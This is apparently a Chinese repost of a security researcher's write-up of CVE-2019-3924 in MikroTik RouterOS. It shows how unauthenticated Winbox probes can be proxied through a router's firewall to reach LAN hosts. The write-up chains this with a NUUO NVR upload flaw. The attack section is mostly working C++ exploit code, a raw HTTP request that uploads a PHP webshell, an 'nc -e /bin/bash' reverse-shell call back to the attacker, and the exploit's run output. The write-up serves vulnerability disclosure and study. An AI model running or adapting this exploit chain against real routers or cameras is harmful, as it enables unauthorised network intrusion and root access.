MikroTik RouterOS未经认证可绕过防火墙访问NAT内部网络(CVE-2019-3924)

栏目: 服务器 · 发布时间: 5年前

内容简介:设计缺陷在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为这个代理行为看上去很简洁,但对我而言,最有趣的一个地方是WAN上的攻击者可以向局域网中经过防火墙保护的主机进行攻击。本文将主要介绍这种攻击方法。如果各位读者对复杂的概念验证过程比较感兴趣,建议首先观看下面的视频:

设计缺陷

在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为 CVE-2019-3924 。该漏洞允许远程攻击者在未经身份验证的情况下通过路由器的 Winbox端口 代理特制的TCP和UDP请求。该代理请求甚至可以绕过路由器的防火墙,到达LAN主机。

这个代理行为看上去很简洁,但对我而言,最有趣的一个地方是WAN上的攻击者可以向局域网中经过防火墙保护的主机进行攻击。本文将主要介绍这种攻击方法。如果各位读者对复杂的概念验证过程比较感兴趣,建议首先观看下面的视频:

https://youtu.be/CxyOtsNVgFg

部署

为了证明这个漏洞,我首先需要选择一个攻击的目标。我没有选择太远的目标,因为我面前的办公桌上就有一台 NUUO NVRMini2 。这台NVR非常适合作为我们漏洞分析的示例,设备应该隐藏在防火墙后面,并且应该与网络上的其他设备相分离。

目前,我已经完成了测试部署。现在,NVRMini2位于MikroTik hAP路由器后面,启用了NAT和防火墙。

对于IP地址为192.168.1.7的攻击者来说,NVRMini2应该是安全的:

在部署过程中,还有一个重要的注意事项,就是我在路由器的防火墙中打开了8291端口,以允许从WAN进行Winbox访问。默认情况下,Winbox仅通过LAN在MikroTik hAP 上提供。不要担心,我只是模拟真实世界中的配置。

现在,攻击者192.168.1.7理论上应该无法与10.0.0.252(目标主机)进行通信,防火墙应该会阻止这样的通信尝试。那么,我们就一起来看看,攻击者如何能绕过这种限制。

探索:如何绕过防火墙

CVE-2019-3924 漏洞的根本原因在于路由器未对网络发现 探针 强制执行身份验证。在正常情况下, The Dude 通过路由器进行身份验证,并通过Winbox端口上传探针。但是,其中一个处理探针(代理程序)的二进制文件无法验证远程用户是否已经通过了身份验证。

探针是一个相当简单的概念。探针是一组变量,用于告知路由器如何与指定端口上的主机通信。该探针最多支持三个请求和响应。响应与提供的正则表达式匹配。以下是内置的HTTP探针。

HTTP探针向80端口发送HEAD请求,并检查响应是否以“HTTP/1”开头。

为了绕开防火墙,并从192.168.1.7与NVRMini2通信,攻击者只需要为路由器提供连接到10.0.0.252:80的探针。有一个显而易见的问题,就是“如何来确定LAN主机是不是NVRMini2?”

NVRMini2和各种OEM都具有非常相似的登录页面标题。

使用title标签,我们可以构建一个检测NVRMini2的探针。下面的内容摘自我在GitHub上的 概念证明 。我再次使用了我的 WinboxMessage 实现。

bool find_nvrmini2(Winbox_Session& session,
                   std::string& p_address,
                   boost::uint32_t p_converted_address,
                   boost::uint32_t p_converted_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address +
                      "\r\nAccept:*/*\r\n\r\n");
    msg.add_string(8, "Network Video Recorder Login</title>");
    msg.add_u32(3, p_converted_address); // ip address
    msg.add_u32(4, p_converted_port); // port
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

大家可以看到,我构建了一个发送HTTP GET请求的探针,并在响应中查找“Network Video Recorder Login</title>”。路由器192.168.1.70将接收此探针,并将其发送到我再msg.add_u32(3)和msg.add_u32(4)中定义的主机。在我们的示例中,它分别对应10.0.0.252和80。这个逻辑,绕过了正常的防火墙规则。

下图展示了攻击者(192.168.1.7)使用探针针对10.0.0.254(Ubuntu 18.04)和10.0.0.252(NVRMini2)的探测过程。我们可以看到,攻击者甚至无法ping这些设备。但是,通过使用路由器的Winbox接口,攻击者可以访问LAN主机。

在理论上“无法访问”的局域网上,我们已经可以发现NVRMini2。但是,我们还希望能更进一步,我们希望能获得对该网络的完全访问权限。接下来,让我们寻找一种方法来利用NVRMini2。

制作漏洞利用EXP

使用探针的过程中,有一个最大的问题,就是尺寸的限制。请求和响应的正则表达式不能超过220个字节的组合。这意味着,任何漏洞利用都必须要简洁。我的 NVRMini2栈缓冲区溢出 是简洁的,只需要170个字节就可以溢出Cookie缓冲区。这没有给我们留下太多的空间,但针对 CVE-2018-11523 实现漏洞利用看起来就已经足够了。

CVE-2018-11523漏洞利用代码:

CVE-2018-11523是未经身份验证的文件上传漏洞。攻击者可以利用该漏洞来上传PHP WebShell。在 Exploit-db 上的概念证明是461个字符,这个字符的数量太多了。但是,凭借我们的一点点智慧,可以将大小减到212个字符。

POST /upload.php HTTP/1.1
Host:a
Content-Type:multipart/form-data;boundary=a
Content-Length:96
 
--a
Content-Disposition:form-data;name=userfile;filename=a.php
 
<?php system($_GET['a']);?>
--a

该漏洞利用a.php创建了一个相当精简的PHP WebShell。如果要将其转换为探针的请求,这个过程是相当简单的。

bool upload_webshell(Winbox_Session& session,
                     boost::uint32_t p_converted_address,
                     boost::uint32_t p_converted_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n");
    msg.add_string(8, "200 OK");
    msg.add_u32(3, p_converted_address);
    msg.add_u32(4, p_converted_port);
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

通过路由器,将上述探针请求发送到10.0.0.252:80,这样就可以创建一个基本的PHP WebShell。

制作反向Shell

此时,您应该可以使用WebShell开始盲目地在NVR上执行命令。但无法看到响应,并且始终要考虑到探针的大小限制,这两个问题比较烦人。因此,我们提出了一个更加理想的解决方案,也就是建立一个到192.168.1.7(攻击者的盒子)的反向Shell。

现在,在我看来,嵌入式系统并没有理由让nc使用-e选项。然而,我们不能按照常规的思路来做一些事情,NVRMini2也不例外。实际上,nc –e仍然是我们可以考虑的一个选择。

bool execute_reverse_shell(Winbox_Session& session,
                           boost::uint32_t p_converted_address,
                           boost::uint32_t p_converted_port,
                           std::string& p_reverse_ip,
                           std::string& p_reverse_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n");
    msg.add_string(8, "200 OK");
    msg.add_u32(3, p_converted_address);
    msg.add_u32(4, p_converted_port);
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

上面的探针通过a.php上的WebShell执行命令“nc 192.168.1.7 1270 –e /bin/bash”。nc命令将使用Root Shell连接回攻击者的盒子。

组合利用

接下来,我们将上面的三个部分合并为一个漏洞的组合利用。该漏洞利用过程会连接到路由器,将发送探针到LAN目标,上传WebShell,并执行反向 Shell 返回WAN主机。

<a href="/cdn-cgi/l/email-protection" data-cfemail="07666b656e69686b68657473627547726572697372">[email protected]</a>:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291
[+] Connected!
[+] Looking for a NUUO NVR at 10.0.0.252:80
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to 192.168.1.7:1270
[+] Done!
<a href="/cdn-cgi/l/email-protection" data-cfemail="e889848a81868784878a9b9c8d9aa89d8a9d869c9d">[email protected]</a>:~/routeros/poc/cve_2019_3924/build$

监听器将按照预期获取到Root Shell。

总结

我在撰写博客文章以回应 Zerodium的推文 时发现了这个漏洞。实际上,我并没有积极研究MikroTik的漏洞,只是想为 BSidesDublin 做好准备。我非常好奇,现在有哪些研究人员正在针对MikroTik进行漏洞研究?他们是否已经将发现的漏洞不求回报地告知MikroTik,还是已经将这些漏洞卖给了Zerodium?


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Introduction to Computer Science Using Python

Introduction to Computer Science Using Python

Dierbach, Charles / 2012-12 / $ 133.62

Introduction to Computer Science Using Python: A Computational Problem-Solving Focus introduces students to programming and computational problem-solving via a back-to-basics, step-by-step, objects-la......一起来看看 《Introduction to Computer Science Using Python》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具